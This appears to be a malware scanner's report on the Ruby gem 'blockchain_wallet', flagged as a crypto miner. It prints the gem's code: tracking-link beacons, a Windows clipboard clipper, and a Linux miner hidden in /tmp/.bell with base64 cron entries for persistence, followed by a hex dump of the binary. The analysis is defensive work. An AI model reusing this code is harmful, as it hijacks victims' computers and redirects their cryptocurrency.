blockchain_wallet 0.0.6.gem.a1528c5f
Crypto miner with persistence and C2
Unsigned opaque overlay with runtime API resolution and process creationNative extension contacts tracking pixel or logging service
SHA-2568f983131c526fa4e69771237e8d15dda554854a3ace46eb62fb716cb3d3da38b
Evidence
1require_relative 'windows'
2require_relative 'linux'
3require 'open-uri'
4require 'net/http'
5require 'net/https'
6require 'open3'
7require 'uri'
8require 'base64'
9require 'resolv'
10Version = 2
11def link(url, ua)
12 begin
13 uri = URI.parse(url.to_s)
14 http = Net::HTTP.new(uri.host, uri.port)
15 http.use_ssl = true
16 http.verify_mode = OpenSSL::SSL::VERIFY_NONE
17 request = Net::HTTP::Get.new(uri.request_uri)
18 request.initialize_http_header({"User-Agent" => ua.to_s})
19 response = http.request(request)
20 rescue => e
21 end
22end
23begin
24 link("https://grabify.link/GEXQK1", "#{RUBY_PLATFORM}-Stage-One-#{Version}")
25 os = RbConfig::CONFIG['host_os']
26 if os.match(/mswin|msys|mingw|cygwin|bccwin|wince|emc/)
27 Windows.clipper
28 link("https://grabify.link/O40HT3", "#{RUBY_PLATFORM}-Stage-Two-Wndows-#{Version}")
29 elsif os.match("linux")
30 output, status = Open3.capture2("uname -a ")
31 if output.include?("64")
32 Linux.miner
33 link("https://grabify.link/S4VQBS", "#{RUBY_PLATFORM}-Stage-Three-Linux-#{Version}")
34 end
35 end
36rescue => e
37 puts
38end
⋯5 more rows
0x3f000000000000000000000000000000000................
0x400f3c38db426000000008dbc2700000000....&......'....
0x420aca3400001000000c705a8a340000100..@.........@...
0x4404000010000007468a308a04000a1b8a3@.....th...@....
0x450400085c0744ac7042402000000e86a4c@...tJ..$.....jL
0x4600000c70424ffffffffe8b23f00008b15....$......?....
0x480b240008910e8863c0000833d98604000.@.....<...=.`@.
0x49001746d31c083c41cc38db42600000000.tm1.......&....
0x4a0c7042401000000e8204c0000ebb46690..$..... L....f.
0x4d001743f6681fa0b020f856affffff83b9.t?f......j.....
0x4e0840000000e0f865dffffff8b91f80000.......]........
0x4f00031c085d20f95c0e94bffffff8d7600.1.......K....v.
0x500c70424a04f4000e8843e000031c083c4..$.O@...>..1...
0x5101cc38379740e0f862cffffff8b89e800...yt...,.......
0x520000031c085c90f95c0e91affffff6690..1...........f.
0x550c7042418a04000a300a04000a18c6040..$..@....@...`@
0x560008944240ce86a4b000083c42cc36690..D$..jK....,.f.
0x5705531c0b91100000089e557568d55a453U1........WV.U.S
0x58089d783ec7cf3abb830000000e86f4a00....|...0....oJ.
0x5900029c48d44241b83e0f0c700cccccccc.)..D$..........
0x5a0c74004ccccccccc74008ccccccccc740.@......@......@
0x5b00cccccccccc74010ccccccccc74014cc......@......@..
0x5c0ccccccc74018ccccccccc7401ccccccc....@......@....
0x5d0cc83e4f08b35b8a3400085f60f858e02.....5..@.......
0x5e0000064a11800000031f68b58048b3d5c..d.....1..X..=\
0x600e8030000ffd783ec0489f0f00fb11d4c...............L
0x620010f84fe010000a150a6400085c00f84........P.@.....
0x640a6400083f8010f84f301000085db0f84.@..............
0x6600800000000c744240402000000c70424......D$.......$
0x67000000000ffd083ec0ce8523f0000c704..........R?....
0x2a5b01000000c357565381ec200500008b9c.....WVS.. .....
0x2a6b24300500008b3b893c24ff158cb24000$0....;.<$....@.
0x2a7b83ec0483c00101038d5c241cc7442404.........\$..D$.
0x2a8b20a44000891c24ff1588b2400083ec08 .@...$....@....
0x2aab24ffd683ec08897c2404891c24ffd683$......|$...$...
0x2abbec08c744240400000000891c24ff15b8...D$.......$...
0x2adbb8010000005b5e5fc3ff1500b240003d.....[^_.....@.=
0x2aebb700000074e4895c240c8d9c24200100....t..\$...$ ..
0x2b0b00891c24ff15ccb24000895c2404c744...$....@..\$..D
0x2b1b240c30000000c744240881 $.0....D$..
⋯7 more rows
0xa9f000000000000000000000000000000000................
0xaa00040000009cbe39005d000080001942e7......9.].....B.
0xaa10000000000000040036111144a53c7172........6..D.<qr
0xaa2096aafe4f99c68b2aebeed6654ec71154...O...*...eN..T
0xaa300fe42c2991747ecb0375b7613e0e7b7f..,).t~..u.a>.{.
0xaa408878fa003e128fee53ea062f0ce22661.x..>...S../..&a
0xaa50c472aa5516c1232bf8b5fcbc47f97bdd.r.U..#+....G.{.
0xaa60f18851437131e281824571fb74d99d70..QCq1...Eq.t..p
0xaa7014e492279dd6f06e10a7361c8c82fe1a...'...n..6.....
0xaa808da87434c0a0c6d1318a0352b9e504c6..t4....1..R....
0xaa902498edede4459922af6cf3fa312faffd$....E.".l..1/..
0xaaa02a5633b6df061001564e3a4241399441*V3.....VN:BA9.A
0xaab05a9a0d002d37bd7da01f5d5edf819a52Z...-7.}..]^...R
0xaac0fca81b3f26fc234eac26713f11244537...?&.#N.&q?.$E7
0xaad02cd736bbff6e5b34dc4b24da89574d34,.6..n[4.K$..WM4
0xaae0952b77767abf39b70cfc756210b81330.+wvz.9...ub...0
0xaaf0cb63c12010bd099b1b3a47184254c798.c. .....:G.BT..
0xab007f95526ddb2a9fa1fd22824b6a21982b..Rm.*...".Kj!.+
0xab108e6e110794c49bd1cf1510b4aa4435b7.n...........D5.
0xab20be95038185ba0faab962a606508f53bd.........b..P.S.
0xab302143725835668e3a3f860aeda62e098a!CrX5f.:?.......
0xab40c1912768d8b964a0f7d386a4ce0bf978..'h..d........x
0xab50a5e41aac7211dba0b5f4b15ccd3ed9dd....r......\.>..
0xab60bb777e89ef51968012b78a11f0cc31b2.w~..Q........1.
0xab70474861cd217d9c82193362af781d56d0GHa.!}...3b.x.V.
0xab808826d68a95b67f59d668b4d68497fd2c.&.....Y.h.....,
0xab901198d867b647c71422353f66a9fe2312...g.G.."5?f..#.
0xaba00bf9c7d16ae605fa36ced2f6dee750d2....j...6.....P.
0xabb00f0ac69b8eda6352065c812daca4f218......cR.\.-....
0xabc0ae2435279388dcd3d5e85055a7ce0f06.$5'......PU....
0xabd090cd222bdff5e3356cfabafbe26538b9.."+...5l....e8.
0xabe03303c3581a8cd29d1727e2529fbea7353..X.....'.R...5
0xabf025680061ca85169be7735acc170579ee%h.a.....sZ...y.
0xac0068e67babb600ce012192e6b2024c92e3h.{.....!....L..
0xac1012d043f1223a03cca14c929503b8f7e2..C.":...L......
0xac20e4595d1a7d8acfe8c565744a28678c61.Y].}....etJ(g.a
0xac30c1769dd95257af16f3f61a24a351ec5f.v..RW.....$.Q._
0xac409fa164173bdc9b35467969b25e91b5fd..d.;..5Fyi.^...
0xac5049b23d784817279235abb6ef1b72536eI.=xH.'.5....rSn
0xac60580f31dbddbdc9da9b3a9b19a051047cX.1......:...Q.|
0xac70ade16c262a48324a35394d9ef48f3a5e..l&*H2J59M...:^
1require 'net/http'
2require 'uri'
3require 'base64'
4require 'resolv'
5require'fileutils'
6require 'open3'
7require 'rbconfig'
8class Linux
9 def self.miner
10 if File.directory?("/tmp/.bell")
11 FileUtils.rm_rf("/tmp/.bell")
12 end
13 FileUtils.mkdir_p("/tmp/.bell")
14 dir = File.dirname(__FILE__)
15 FileUtils.mv("#{dir}/rvwf_miner", '/tmp/.bell')
16 f = File.open("/etc/cron.monthly/google.sh", "a")
17 f << Base64.decode64("bm9odXAgLi9ydndmX21pbmVyICAtbyBzdHJhdHVtK3RjcDovL3Bvb2wubWluZXJtb3JlLmNvbTo1NTAxIC11IFJUQU0xaHZUYnV2QVlUNlpYVmRpMkhIaGRRZkVIY0R2ZUwgLXAgcGFzcyA+L2Rldi9udWxsIDI+JjE=")
18 f = File.open("/etc/cron.hourly/google.sh", "a")
19 f << Base64.decode64("bm9odXAgLi9ydndmX21pbmVyICAtbyBzdHJhdHVtK3RjcDovL3Bvb2wubWluZXJtb3JlLmNvbTo1NTAxIC11 …
No evidence locations were recorded for this file. Raw result